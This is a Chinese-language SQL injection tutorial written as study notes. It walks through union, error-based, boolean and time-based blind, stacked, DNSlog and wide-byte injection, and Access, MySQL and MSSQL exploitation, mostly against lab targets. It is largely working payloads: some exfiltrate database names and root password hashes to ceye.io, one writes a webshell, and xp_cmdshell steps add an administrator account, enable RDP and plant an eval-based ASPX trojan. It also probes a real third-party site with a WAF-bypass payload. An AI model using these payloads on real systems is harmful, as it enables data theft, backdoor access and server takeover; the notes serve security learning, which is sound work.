SQL注入漏洞

注入概念

1.1.1 什么是注入漏洞(SQL)

​ 接收相关参数未经过处理直接带入数据库查询操作

具备的两个关键点:

  • 用户能够控制输入(网站交互操作)
  • 原本程序接受了用户输入的信息,并且直接执行(没有做过滤)

1.1.2 SQL注入漏洞的分类/特点

​ 服务端漏洞(数据库服务-代码有逻辑问题)

​ 与操作系统、数据库类型、脚本语言类型无关

1.1.3 SQL漏洞产生原理

​ 代码中没有对用户的传入参数信息,做处理

1.1.4 SQL注入的目的

  • 窃取数据信息
  • 修改数据信息
  • 破坏数据信息

1.1.5 SQL注入攻击流程:

  1. 获取攻击网站域名(子域名)
  2. 获取攻击网站注入点
  3. 获取网站业务数据库名称
  4. 获取网站业务数据表名称
  5. 获取网站业务表字段信息
  6. 获取网站业务真实数据(SQL注入目的:窃取数据)
    1. 利用联合注入获取数据信息(配合order by获取字段数)
  7. 实现篡改或破坏数据 (堆叠注入)

漏洞点查找

SQL漏洞点获取

举例:pikachu靶场注册用户案例

访问:Get the pikachu

  1. 在提交注册前,进行请求包抓取
  2. 在burp suit中请求包发送到重发器
  3. 修改请求主体信息,加单引号
  4. 利用报错函数信息,获取数据库表名称

伪静态如何实现SQL注入漏洞:

伪静态:一般是中间件加载了伪静态插件代码,其实不是真正的静态页面

伪静态例:

https://www.oldboyedu.com/zuixin_wenzhang/index/id/523

=== https://www.oldboyedu.com/zuixin_wenzhang/index?id=523

验证方式

https://www.oldboyedu.com/zuixin_wenzhang/index/id/523

https://www.oldboyedu.com/zuixin_wenzhang/index/id/523\%20\%26\%26\%20-1=-2

注意:该网站配置了WAF防火墙,需要通过URL编码的方式进行绕过,因为对and进行了过滤,即使用&&进行代替

漏洞检测

检测SQL漏洞

根据有没有回显分为报错注入和盲注两种方式

通过错误信息获取漏洞信息

​ id=1 and 1=1 ==> select * from user where id=1 and 1=1 ; —-成功-真

​ id=1 and 1=2 ==> select * from user where id=1 and 1=2 ; —-失败-假

===> 执行结果不一致,存在漏洞(使用单引号也可以)

针对不同代码实现漏洞绕过:

  • geekgold’ or 1=1 – (针对asp代码的sql漏洞)
  • geekgold’ or 1=1 # (针对php代码的sql漏洞)

规避SQL注入漏洞,需要对用户传入的信息做处理

通过盲注的方式获取漏洞信息

1.3.2.1 基于布尔逻辑的盲注检测

方法:通过构造布尔条件(如-1=-1或-1=-2)来观察浏览器的响应是否有变化

示例:

  • 正常请求:http://example.com/page?id=1
  • 盲注测试:http://example.com/page?id=1 AND 1=1
  • 盲注测试:http://example.com/page?id=1 AND 1=2

结果:如果1=1时页面正常显示,而1=2时页面显示异常(如空白页面或错误信息),则可能存在盲注漏洞。

1.3.2.2 基于时间函数的盲注检测

方法:通过构造带有时间函数的SQL语句,观察浏览器的响应时间是否有变化

示例:

  • 正常请求:http://example.com/page?id=1
  • 盲注测试:http://example.com/page?id=1 AND IF(1=1, SLEEP(5), 0)

结果:如果页面响应时间明显延迟(如5秒),则可能存在盲注漏洞。

漏洞提交方式

GET 方式进行提交

GET方式提交通常会在url后有参数赋值的信息

典型页面: http://192.168.138.130:90/pikachu/vul/sqli/sqli_str.php

通过bp进行抓包查看:

漏洞验证:http://192.168.138.130:90/pikachu/vul/sqli/sqli_str.php?name=admin+\%27+or+1\%3D1+\%23&submit=\%E6\%9F\%A5\%E8\%AF\%A2

POST方式进行提交

POST方式进行提交:一般情况下用户输入的内容被隐藏起来了,地址栏看不到,需要借助抓包工具进行抓包

典型页面:http://192.168.138.130:90/pikachu/vul/sqli/sqli_id.php

通过bp进行抓包查看:

验证漏洞:利用bp重发器(id=2’&submit=%E6%9F%A5%E8%AF%A2)修改请求主体信息

Cookie方式进行提交

原理

ASP脚本中的request对象,被用于从用户那里获取信息。

Request对象的使用方法:request.[集合名称](参数名称)效率低下,容易出错

eg获取从表单中提交的数据时:request.form(“参数名称”)

ASP中规定也可以省略集合名称:request(“参数名称”),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。这样,当我们使用request(“参数名称”)方式获取客户端提交的数据,并且没有对使用request.cookies(“参数名称”)方式提交的数据进行过滤时,可能存在Cookie注入

典型页面:http://192.168.138.130:90/pikachu/vul/sqli/sqli_header/sqli_header_login.php

在http请求头,cookie字段后面,添加SQL注入信息

HEAD方式进行提交

典型页面:http://192.168.138.130:90/pikachu/vul/sqli/sqli_header/sqli_header.php

使用bp抓包

验证方式:通过Bp重发器,在UA后面加入’进行验证

漏洞类型

数字类型

传入数据库的信息是数值信息

典型页面:http://192.168.88.128:90/pikachu/vul/sqli/sqli_id.php

交互原理:

$id=$_POST[‘id’];

$query=”select username,email from member where id=$id”;
id=1
select username,email from member where id=1;
利用漏洞:会将所有数据信息都展示出来
id=1 or 1=1

字符类型

传入数据的信息是字符信息

典型页面:http://192.168.88.128:90/pikachu/vul/sqli/sqli_str.php

交互原理:
$name=$_GET[‘name’];

$query=”select id,email from member where username=’$name’”;
name=xiaoq
select id,email from member where username=’xiaoq’
利用漏洞:
xiaoq’ or 1=1 #

搜索类型

模糊匹配查询数据,传输数据库信息是任意字符信息

典型页面:http://192.168.88.128:90/pikachu/vul/sqli/sqli_search.php
交互原理:
$name=$_GET[‘name’];

$query=”select username,id,email from member where username like ‘%$name%‘“;
name=xiaoq
select username,id,email from member where username like ‘%xiaoq%‘

利用漏洞:

select username,id,email from member where username like ‘%xiaoq%‘ or 1=1 #%‘

xxx%‘ or 1=1 #

特殊类型

精确匹配查询数据,传输数据库信息是任意字符信息,也称为XX型

典型页面:http://192.168.88.128:90/pikachu/vul/sqli/sqli_x.php
交互原理:
$name=$_GET[‘name’];

$query=”select id,email from member where username=(‘$name’)”;
name=xiaoq
select id,email from member where username=(‘xiaoq’)
利用漏洞:
w’) or 1=1 #

攻击方式

union注入

union操作符用于合并两个或多个SQL语句指令信息,得到联合的查询结果;

使用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
MySQL [xiaoq]> select name,age from stu where name='zhangwu' union select name,age from teac where name='zhangwu';
+---------+------+
| name | age |
+---------+------+
| zhangwu | 24 |
+---------+------+
1 row in set (0.00 sec)

#union all 不会进行重复值的过滤
MySQL [xiaoq]> select name,age from stu where name='zhangwu' union all select name,age from teac where name='zhangwu';
+---------+------+
| name | age |
+---------+------+
| zhangwu | 24 |
| zhangwu | 24 |
+---------+------+
2 rows in set (0.00 sec)

典型页面:http://192.168.138.130:90/pikachu/vul/sqli/sqli_search.php

注意:当主查询语句和子查询语句中的字段个数不一致时,将会报错
select name,age,render from stu where name=’zhangwu’ union all select name,age from teac where name=’zhangwu’;
错误提示:The used SELECT statements have a different number of columns

解决方法思路:需要判断主查询语句的字段个数,通过order by 排序实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a\%'  order by 3 #
用户名中含有a\%' order by 3 #的结果如下:

username:allen
uid:2
email is: allen@pikachu.com

username:grady
uid:4
email is: grady@pikachu.com

a\%' order by 4 #
报错:Unknown column '4' in 'order clause'


##说明 主查询语句中字段数量为3

知道字段数之后通过占位进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
a\%' union select username,email,version() from member #


用户名中含有a\%' union select username,email,version() from member #的结果如下:

username:allen
uid:2
email is: allen@pikachu.com
username:grady
uid:4
email is: grady@pikachu.com

username:vince
uid:vince@pikachu.com
email is: 5.5.53
.................

常用的函数:
USER(); VERSION(); DATABASE();

information_schema注入

information_schema是MYSQL 5.0之后数据库中默认的数据库,此数据库中有数据库的元数据信息,包含了一些数据库统计信息(有哪些库、表、字段、数据存储量、应用索引数量)

典型页面:http://192.168.138.130:90/pikachu/vul/sqli/sqli_search.php

应用方式

  1. 获取数据库的库名
    1. vince’ union select database(),user(),3#%
  2. 获取数据库的表名
    1. u’ union select table_schema,table_name,3 from information_schema.tables where table_schema=’pikachu’#
  3. 获取数据库表中的字段
    1. k’ union select table_name,column_name,3 from information_schema.columns where table_name=’user’#%
  4. 获取数据库的数据
    1. kobe’union select username ,password,3 from users#%

常规方法应用步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#1、获取所有数据库表明
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;

#2、获取当前数据库的表名
SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE();

#3、获取指定表的列名
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME = 'users';

#4、获取所有数据库的表名
SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES;

#5、获取所有数据库的列名
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS;

#6、获取表的数据
SELECT username, password FROM users;

报错函数注入

报错注入顾名思义主要是利用数据库报错来进行判断是否存在注入点,如果不符合数据库语法规则就会产生错误

常用函数:

​ updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.

​ extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
​ floor() :MYSQL中用来取整的函数.

典型网站:http://192.168.138.130:90/pikachu/vul/sqli/sqli_search.php

updatexml实战测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#1、爆数据库版本信息
a\%' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

#2、爆数据库当前用户
a\%' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#  

#3、爆数据库
a\%' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

#4、爆表,但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
a\%' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1) #

#5、爆字段
a\%' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#

#6、爆字段内容
a\%' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

堆叠注入

c

与union区别:

堆叠注入方式和union联合注入方式类似,都是实现多个SQL语句命令拼接,同时执行操作,但是union联合注入只能实现多个select语句拼接,不能实现其他语句拼接,然而堆叠注入,还可以实现拼接其他SQL类型语句,实现操作数据库。

PS:需要关注用户权限

举例

1
2
3
4
5
6
7
8
1.新建一个表
select * from users where id=1;create table test like users;

2.删除上面新建的test表
select * from users where id=1;drop table test;

3.查询数据
select * from users where id=1;select 1,2,3;

盲注方式

适用场景:应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面(可能为网站首页)。

基于布尔类型的SQL盲注

  • 页面仅返回两种状态(如登录成功/失败、数据存在/不存在)
  • 无法通过联合查询或报错注入直接获取数据

select ascii(substr(database(),1,1))>xx;
通过对比ascii码的长度,判断出数据库表名的第一个字符。

database() – 输出数据库名称信息 pikachu
1,1 – 取出数据库名称第一个字符 p
substr() – 数据库名称字符调取出来 p
ascii – 将字符信息转成编码数值 112(是可以识别,也不会显示)

>113 <111 =112 – 通过112编码反向处理 112 - p(确认)

vince’ and ascii(substr(database(),1,1))=112# – 推断出数据库名称第一个字母 p

流程举例

1、判断注入点以及闭合方式

1
2
id=1' and '1'='1  -- 正常响应(True)
id=1' and '1'='2 -- 异常响应(False)

2、获取数据库名

①判断数据库名长度

1
id=1' and length(database())=8 --+

通过二分法逐步调整数值(如 >10、<5)最终确定长度。

②逐个字符猜解数据库名

1
id=1' and ascii(substr(database(),1,1))=115 --+

通过ASCII码逐个字符判断(substr(database(),n,1) 截取第n位字符)

3、获取表名

①判断表数量及表名长度

1
2
id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 --+
id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

②逐字符猜解表名

1
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=109 --+

4、获取字段名

①判断字符数量及字段长度

1
2
id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3 --+
id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=4 --+

②逐字符猜解字段名

1
id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 --+

5、提取数据内容

①判断数据长度

1
id=1' and length((select username from users limit 0,1))=5 --+

②逐字符猜解数据

1
id=1' and ascii(substr((select username from users limit 0,1),1,1))=97 --+

基于时间类型的SQL盲注

基于时间类型的SQL盲注(Time-Based Blind SQL Injection)是一种通过观察数据库响应时间差异来推断信息的注入技术,常用于无法直接获取数据回显的场景。

常用延时函数:

  • MySQL:SLEEP(5)、BENCHMARK(10000000,MD5(‘test’))
  • SQL Server:WAITFOR DELAY ‘0:0:5’
  • PostgreSQL:PG_SLEEP(5)

测试方法:

一、判断注入点及注入类型

  • 基础测试

在参数后添加延时函数,观察页面响应时间是否显著增加:

1
' AND SLEEP(5)--

如果页面响应延迟约5秒,则可能存在时间盲注漏洞。

  • 闭合方式测试

    根据参数闭合方式调整Payload(如单引号、双引号等):

1
" OR IF(1=1,SLEEP(5),0)--

二、获取数据库信息

1.获取数据库名

判断数据库名长度

1
' AND IF(LENGTH(DATABASE())=N, SLEEP(5),0)-- 

逐步替换N,直到响应延迟,确定长度。

​ 逐字符猜解数据库名

1
' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=N, SLEEP(5),0)-- 

替换N为ASCII码(如97对应字符a),逐个字符猜解。

2.获取表名

猜解表数量

1
' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=N, SLEEP(5),0)-- 

逐表猜解表名

1
' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=N, SLEEP(5),0)-- 

通过LIMIT遍历所有表,逐字符猜解表名。

3.获取字段名

猜解字段数量

1
' AND IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users')=N, SLEEP(5),0)-- 

逐字段猜解名称

1
' AND IF(ASCII(SUBSTR((SELECT columnname FROM informationschema.columns WHERE table_name='users' LIMIT 0,1),1,1))=N, SLEEP(5),0)- 

4.提取数据

猜解字段内容

1
' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1))=N, SLEEP(5),0)-

DNSlog注入

DNSlog注入学习 - Lushun - 博客园

以sql盲注为例,后端数据库用的mysql数据库,说一下用dnslog回显只能用于windows系统,为什么呢。因为在利用sql盲注进行DNSlog回显时,需要用到load_file函数,这个函数可以进行DNS请求。

payload:

1
' and if((select load_file(concat('\\\\',(select database()),'.zs69k2.ceye.io\\abc'))),1,0)--+

img

利用concat()函数将查询的数据库名和域名拼接,执行后查看DNSlog

img

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

宽字节注入

当php开启magic_quotes_gpc(魔术引号开关,可以将SQL注入语句中的单引号转换为字符信息)宽字节注入可以在开启魔术引号开启之后,还原引号的功能

magic_quotes_gpc:通过在引号’前面添加转义字符”\“使引号’失去含义

思路:

' -> url编码 -> %5c%27 -> %df%5c %27 -> 縗’

%df == ß
%df%5c == 縗

通过在%5c前面添加%df从而使%27逃匿出来,组成为%df%5c%27

注意:宽字节注入时,需要确定数据库的字符集为GBK编码

实战应用

数据库类型确认方式

使用内置变量爆数据库类型

“User”是SQL Server的一个内置变量,它的值是当前连接的用户名,其变量类型为“nvarchar”字符型。通过提交查询该变量,根据返回的出错信息即可得知数据库类型。

使用语句:

​ and user>0

​ 该查询语句会将user对应的nvarchar型值与int数字型的0进行对比,两个数据类型不一致,因此会返回出错信息。

1、MsSQL报错信息:

​ Microsoft OLE DB Provider for SQL Server 错误’80040e21’

​ 将nvarchar值’****’转换为数据类型为int的列时发生语法错误。

2、Access报错信息:

​ Microsoft OLE DB Provider Drivers ODBC Drivers 错误 ‘80040e21’

​ ODBC 驱动程序不支持所需的属性。

3、Mysql报错信息:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpstudy\WWW\mysql\sql.php on line 12

内置数据表爆数据库类型

如果服务器IIS不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判断。在注入点后提交如下查询语句。

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

1、MsSQL报错信息:

​ 在MS SQL Serve:存在系统表[sysobjects],不存在[msysobjects]系统表

​ Microsoft OLE DB Provider for SQL Server 错误 ‘80040e37’

​ 对象名 ‘msysobjects’ 无效。

​ /home/yz/yu/show.asp, 行 8

2、Access报错信息:

​ Access存在系统表[msysobjects],不存在“sysobjects”表。

​ Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80040e37’

​ /home/yz/yu/show.asp, 行 8

​ [Microsoft][ODBC Microsoft Access Driver] Microsoft Jet数据库引擎找不到输入表或查询’sysobjects’。确定它是否存在,以及它的名称的拼写是否正确。

3、Mysql报错信息:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpstudy\WWW\mysql\sql.php on line 12

Access

注入步骤

爆出数据库类型

典型网站:http://192.168.138.130:81/news_view.asp?id=14

通过方法一:

http://192.168.138.130:81/news_view.asp?id=14\%20and\%20user\%3E0

​ Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80040e21’

​ ODBC 驱动程序不支持所需的属性。

​ /news_view.asp,行 20

可以判断出改数据库类型为Access数据库

猜解数据库表名

​ 可在注入点后提交如下语句进行查询。

​ and exists(select * from 数据库表名 )

​ 或者

​ and (select count(*) from 数据库表名 )>=0

​ 上面的语句是判断数据库中是否存在指定数据库表名。如果页面返回出错,那么可更换其他常见数据库表名继续进行查询。

猜解表字段名及长度

​ 可在注入点后提交如下语句查询。

​ and exists(select 字段名 from 数据库表名 )

​ 或者

​ and (select count(字段名) from 数据库表名 )>=0

​ 如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测。

​ 猜解字段长度,可提交如下查询语句。

​ 当提交>n-1时正常,而提交到>n时返回出错,那么说明字段长度为n。

​ and (select top 1 len(字段名) from 数据库表名 )>1

​ and (select top 1 len(字段名) from 数据库表名 )>2

​ …

​ and (select top 1 len(字段名) from 数据库表名 )>n-1

​ and (select top 1 len(字段名) from 数据库表名 )>n

​ 当提交>n-1时正常,而提交到>n时返回出错,那么说明字段长度为n。

猜解字段值

​ 猜字段的ascii值,可在注入点后提交如下查询语句。

​ and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>0

​ and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>1

​ …

​ and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n-1

​ and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n

​ 当提交>n-I时正常,而提交到>n时返回出错,那么说明字段值的ASCII码为n。反查ASCII码对应的字符,就可得到字段值的第一位字符。再继续提交如下查询。

​ and (select top 1 asc(mid(字段名,2,1)) from 数据库表名 )>0

​ 用与上面相同的方法,可得到第二位字符。再继续进行查询,直接猜解出字段的所有字符值为止。

Access注入实战案例

案例地址:http://192.168.138.130:81/news_view.asp?id=14

猜解数据库表名和字段

首先来猜解数据库表名,提交如下网址。

http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from users)

返回错误信息,说明users表不存在,继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from admin)

还是返回错误信息,说明admin表不存在,继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from administrator)

注入错误页面响应:

注入正确页面响应:

继续猜测字段并提交。

http://192.168.1.55:901/news_view.asp?id=14 and exists(select username from administrator)

返回错误信息,说明不存在username字段,继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and exists(select user_name from administrator)

返回正常页面,administrator表中存在字段user_name

猜解字段长度

再继续猜测第一个字段内容长度。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>1//正常

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>2 //正常

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>4 //正常

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>5 //报错

猜解字段内容

现在猜解字段内容并提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 //返回正常页面

说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>500 //返回错误页面

说明字段对应的ASCll值在0和500之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100 //返回错误页面

说明字段对应的ASCll值在0和100之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>90 //返回正常页面

说明字段对应的ASCll值在90和100之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96 //返回正常页面

说明字段对应的ASCll值在96和100之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 //返回错误页面

说明administrator表中的user_name字段的第一位ASCII值为97。通过反查ASCII值对应的字母,得到字符值为“a”接着第二位查询。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>99 //返回正常页面(注:查第二个字母的时候记得把user_name后面的1变成2)

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>100 //返回错误页面

用同样的方法,可猜解user_name字段值和password值,最终得到如下结果:

获取后台系统

得到管理员用户名和密码后,登录后台:http://192.168.1.55:901/admin/index.asp,输入猜解出来的用户名和密码.就可以成功进入网站后台页面。

==小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。==

Mysql

基础知识一:
mysql4:没有information_schema库信息,因此需要获取库名、表名、字段名时,只能靠猜
mysql5:拥有information_schema库信息,因此可以轻松获取库名、表名、字段名
基础知识二:
mysql中root用户是最高权限用户;
mysql中保存用户信息的库是mysql库,对应表user表;
等到用户密码信息,可以进行反向破解,最终获取用户名和密码,可以远程登录数据库
ps:数据库8.0之后,密码的加密方式换了(sha2 早期mysql_native_password),不能用传统破解方式获取明文密码

Mysql实战案例

典型页面:http://192.168.138.130:90/dvwa/vulnerabilities/sqli/

检查注入点

在搜索框中输入:1’ or 71=1

存在注入点

判断查询字段数

http://192.168.138.130:90/dvwa/vulnerabilities/sqli/?id=1\%27+order+by+1\%23&Submit=Submit#

1’ order by 1#

发现没有报错说明字段数>1

http://192.168.138.130:90/dvwa/vulnerabilities/sqli/?id=1\%27+order+by+2\%23&Submit=Submit#

1’ order by 2#

发现没有报错说明字段数>2

http://192.168.138.130:90/dvwa/vulnerabilities/sqli/?id=1\%27++order+by+3\%23&Submit=Submit#

1’ order by 3#

页面报错:Unknown column ‘3’ in ‘order clause’

证明:查询的字段数为2

获取网站业务数据库名称

查看当前的数据库和用户:

http://192.168.138.130:90/dvwa/vulnerabilities/sqli/?id=1\%27+union+select+user\%28\%29\%2Cdatabase\%28\%29\%23&Submit=Submit#

1’ union select user(),database()#

结果为:

获取数据库信息

http://192.168.138.130:90/dvwa/vulnerabilities/sqli/?id=1\%27union+select+1\%2Cgroup_concat\%28schema_name\%29+from+information_schema.schemata\%23&Submit=Submit#

1’union select 1,group_concat(schema_name) from information_schema.schemata#

concat()和group_concat()区别:

  • CONCAT() 用于将多个字符串或列值连接成一个字符串,适用于单行操作。
  • GROUP_CONCAT() 用于将分组中的多行值连接成一个字符串,适用于多行操作,并且支持去重、排序和自定义分隔符。
获取dvwa表名

获取表名:

http://192.168.138.130:90/dvwa/vulnerabilities/sqli/?id=1\%27union+select+1\%2Cgroup_concat\%28table_name\%29+from+information_schema.tables+where+table_schema\%3Ddatabase\%28\%29\%23&Submit=Submit#

1’union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

获取表里的字段值

获取表里的字段值

1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

table_name=0x7573657273 使用十六进制编码的原因是:table_name=users会报错

获取字段内容

获取字段内容

http://192.168.138.130:90/dvwa/vulnerabilities/sqli/?id=++++1\%27+union+select+1\%2Cgroup_concat\%28user_id\%2C0x7c\%2Cfirst_name\%2C0x7c\%2Clast_name\%2C0x7c\%2Cuser\%2C0x7c\%2Cpassword\%2C0x7c\%2Cavatar\%2C0x7c\%29+from+users\%23&Submit=Submit#

​ 1’ union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users#

结果:

1|admin|admin|admin|5f4dcc3b5aa765d61d8327deb882cf99|/hackable/users/admin.jpg|,

2|Gordon|Brown|gordonb|e99a18c428cb38d5f260853678922e03|/hackable/users/gordonb.jpg|,

3|Hack|Me|1337|8d3533d75ae2c3966d7e0d4fcc69216b|/hackable/users/1337.jpg|,

4|Pablo|Picasso|pablo|0d107d09f5bbe40cade3de5c71e9e9b7|/hackable/users/pablo.jpg|,

5|Bob|Smith|smithy|5

进一步渗透

前提条件:

  • 需要知道远程Web目录
  • 需要mysql root权限
  • 需要远程目录有写权限
  • 需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql.ini配置文件)

获取web路径方法

%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+–+&Submit=Submit 路径记得转化为十六进制

0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C

=C:\WINDOWS\system32\inetsrv\MetaBase.xml

常见Windows下的配置文件

  1. c:/windows/php.ini //php配置信息
  2. c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
  3. c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
  4. c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
  5. d:\APACHE\Apache2\conf\httpd.conf
  6. c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

常见Linux下的配置文件

  1. /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
  2. /usr/local/apache2/conf/httpd.conf /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
  3. /usr/local/app/php5/lib/php.ini //PHP相关设置
  4. /etc/sysconfig/iptables //从中得到防火墙规则策略
  5. /etc/httpd/conf/httpd.conf // apache配置文件
  6. /etc/rsyncd.conf //同步程序配置文件
  7. /etc/my.cnf //mysql的配置文件
  8. /etc/redhat-release //系统版本
  9. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

服务器读取文件:

union select 1,load_file(‘c:\boot.ini’) #

写webshell获取权限:

union select ““,2 into outfile “C:\phpStudy\WWW\123.php”#

MsSQL

数据库用户信息:

  • _sa
    • 数据库服务中权限最高的用户,同时此用户还可以对系统进行管理操作
  • _dbowner
    • 可以编写webshell
  • _public
    • 只能查询数据库中数据库信息、

典型网站:192.168.138.130:85/sqlserver/1.aspx?xxser=

_SA用户攻击方式

1、SQL注入检查服务类型

​ 2 and exists(select * from sysobjects)

​ 执行成功-确认为MsSQL数据库

2、SQL注入检查当前用户

​ 确认用户名称信息:

​ and system_user=0 通过IE报错页面获取用户名(推荐低版本IE浏览器)

​ 是否具有特权权限

​ and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) 检查注入位置是否具有sa权限(无报错,有报错选择其他用户)

3、SQL确认存储过程功能

​ (判断xp_cmdshell)只有激活了存储过程功能,才能使数据库管理员操作系统

​ and 1=(select count(*) from master.dbo.sysobjects where name=’xp_cmdshell’) 执行没报错-功能处于激活状态

​ EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;–

​ ——-激活存储过程功能

4、系统操作命令

​ 添加用户账号(系统用户创建):;exec master..xp_cmdshell ‘net user test test /add’

​ 划分用户到管理组:;exec master..xp_cmdshell ‘net localgroup administrators test /add’

​ 启动3389远程功能:exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’ fDenyTSConnections’,’REG_DWORD’,0;

_dbowner用户攻击方式

1、SQL注入检查当前用户

​ 确认用户名称信息:and 1=(SELECT IS_MEMBER(‘db_owner’));– 判断当前用户是否为db_owner权限

2、SQL注入获取网站路径

​ ①通过报错信息

​ ②通过搜索引擎(百度、谷歌)

​ ③通过相关语句

​ ;drop table black;create Table black(result varchar(7996) null,id int not null identity(1,1))–

​ ;insert into black exec master..xp_cmdshell ‘dir /s c:\1.aspx’–

​ and (select result from black where id=4)>0 –

3、SQL注入木马文件

​ %20;exec%20master..xp_cmdshell%20’Echo%20”<%@ Page Language=”Jscript”%><%eval(Request.Item[“123”],”unsafe”);%>>”%20c:\wwwtest\iis-xxser.com–wwwroot\sqlserver\muma.aspx’–

dir /s c:\1.aspx:搜索1.aspx的路径,因为注入的地址就是1.aspx

使用webshell工具链接即可

_public用户攻击方式

and 1=(SELECT IS_MEMBER(‘db_owner’));– 报错,说明是_public,只能进行脱裤操作

1、确认数据库名称信息

​ 业务数据库确认

​ and db_name()=0–

​ 获取mssql所有数据库名和路径

